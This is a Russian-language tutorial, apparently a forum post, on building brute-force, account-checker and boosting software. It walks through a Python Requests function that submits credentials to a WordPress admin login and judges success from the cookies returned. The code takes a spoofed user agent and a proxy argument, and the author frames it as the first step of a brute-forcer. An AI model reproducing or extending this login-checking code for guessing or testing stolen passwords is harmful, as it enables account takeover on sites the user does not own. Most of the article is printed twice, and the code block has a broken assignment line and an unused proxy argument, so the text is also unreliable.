Цель данной статьи — показать процесс создания софта для выполнения таких типичных задач, как брутфорс/чек/накрутка/etc. Все эти типы софта объединяет то, что почти всегда первым шагом в разработке является реализация авторизация (в случае брутфорса первый шаг является и единственным).
Для обучающей статьи я выбрал очень легкую цель— админка WordPress’a, язык, на котором будет реализована функция авторизации — Python с библиотекой Requests.
Разберем, как происходит авторизация в WordPress. Современные браузеры предоставляют широкие возможности для анализа и дебагга, чем мы и будем пользоваться.
Откроем сайт с вордпрессом, переходим на страницу логина → ПКМ → Исследовать элемент
→ Вкладка «Сеть»
Во вкладке сеть можно увидеть всё, что происходит на странице: загрузка ресурсов, отправка форм и т.п. Вводим неверные логин и пароль, нажимаем Log in, и наблюдаем список запросов.
Тут нас интересует POST-запрос к wp-login.php, в параметрах смотрим, какие данные передаются после попытки логина. Следует понимать, что WordPress выбран в качестве лабараторной мыши в этой статье из-за крайней простоты авторизации. Весьма часто часть параметров генерируется JavaScript’ом, либо получается в промежуточных запросах, что может сильно затруднить разработку ПО (привет Амазону) и даже сделать её нецелесообразной.
Теперь все необходимые данные у нас есть, и нам осталось лишь успешно авторизоваться в WordPress и найти то, благодаря чему мы будем определять, что авторизация удалась. Это может быть какой-то текст на определенной странице.
В нашем случае мы будет определять по установленным Cookies. Если после попытки авторизации сайт устанавливает Cookie с именем «wordpress_test_cookie» - авторизация провалилась, иначе — успех.
Перейдем к коду и напишем функцию авторизации
[SRC]
def wp_login(url, login, password, timeout, proxy=None):
s = requests.session()
user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25'
s.headers = {'User-Agent': user_agent, 'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*'}
try:
s.get(url+"/wp-login.php", timeout=timeout)
except Exception as ex:
return 3
try:
data =
{'log': login,
'pwd': password,
'wp-submit': 'Войти',
'redirect_to': url+'/wp-admin/',
'testcookie': '1', }
except Exception as ex:
return 2
try:
r = s.post(url+"/wp-login.php", data=data, timeout=timeout)
except Exception as ex:
return 3
if (not 'wordpress_test_cookie' in r.cookies.get_dict()):
return 1
else:
return 2
[/SRC]
s = requests.session() - создаем сессию.
Далее устанавливаем заголовки и делаем первый пустой запрос к wp-login.php, чтобы WordPress установил нужные Cookies, без этого авторизация работать не будет.
Следующий шаг — формируем словарь с POST-данными, и выполняем POST-запрос:
r = s.post(url+"/wp-login.php", data=data, timeout=timeout)
Так как любой запрос может стать неудачным из-за нерабочего прокси или недоступного сайта — оборачиваем каждый запрос в try except.
1 — Авторизация успешна, 2 — авторизация провалилась, 3 — сетевая ошибка (недоступен сайт, нерабочее прокси, etc)
Если статьи на подобную тематику интересны и актуальны - возможно продолжение, с более сложными примерами и с большим количеством кода!
Для обучающей статьи я выбрал очень легкую цель— админка WordPress’a, язык, на котором будет реализована функция авторизации — Python с библиотекой Requests.
Разберем, как происходит авторизация в WordPress. Современные браузеры предоставляют широкие возможности для анализа и дебагга, чем мы и будем пользоваться.
Откроем сайт с вордпрессом, переходим на страницу логина → ПКМ → Исследовать элемент
→ Вкладка «Сеть»
Во вкладке сеть можно увидеть всё, что происходит на странице: загрузка ресурсов, отправка форм и т.п. Вводим неверные логин и пароль, нажимаем Log in, и наблюдаем список запросов.
Тут нас интересует POST-запрос к wp-login.php, в параметрах смотрим, какие данные передаются после попытки логина. Следует понимать, что WordPress выбран в качестве лабараторной мыши в этой статье из-за крайней простоты авторизации. Весьма часто часть параметров генерируется JavaScript’ом, либо получается в промежуточных запросах, что может сильно затруднить разработку ПО (привет Амазону) и даже сделать её нецелесообразной.
Теперь все необходимые данные у нас есть, и нам осталось лишь успешно авторизоваться в WordPress и найти то, благодаря чему мы будем определять, что авторизация удалась. Это может быть какой-то текст на определенной странице.
В нашем случае мы будет определять по установленным Cookies. Если после попытки авторизации сайт устанавливает Cookie с именем «wordpress_test_cookie» - авторизация провалилась, иначе — успех.
Перейдем к коду и напишем функцию авторизации
[SRC]
def wp_login(url, login, password, timeout, proxy=None):
s = requests.session()
user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25'
s.headers = {'User-Agent': user_agent, 'Connection': 'keep-alive', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*'}
try:
s.get(url+"/wp-login.php", timeout=timeout)
except Exception as ex:
return 3
try:
data =
{'log': login,
'pwd': password,
'wp-submit': 'Войти',
'redirect_to': url+'/wp-admin/',
'testcookie': '1', }
except Exception as ex:
return 2
try:
r = s.post(url+"/wp-login.php", data=data, timeout=timeout)
except Exception as ex:
return 3
if (not 'wordpress_test_cookie' in r.cookies.get_dict()):
return 1
else:
return 2
[/SRC]
s = requests.session() - создаем сессию.
Далее устанавливаем заголовки и делаем первый пустой запрос к wp-login.php, чтобы WordPress установил нужные Cookies, без этого авторизация работать не будет.
Следующий шаг — формируем словарь с POST-данными, и выполняем POST-запрос:
r = s.post(url+"/wp-login.php", data=data, timeout=timeout)
Так как любой запрос может стать неудачным из-за нерабочего прокси или недоступного сайта — оборачиваем каждый запрос в try except.
1 — Авторизация успешна, 2 — авторизация провалилась, 3 — сетевая ошибка (недоступен сайт, нерабочее прокси, etc)
Если статьи на подобную тематику интересны и актуальны - возможно продолжение, с более сложными примерами и с большим количеством кода!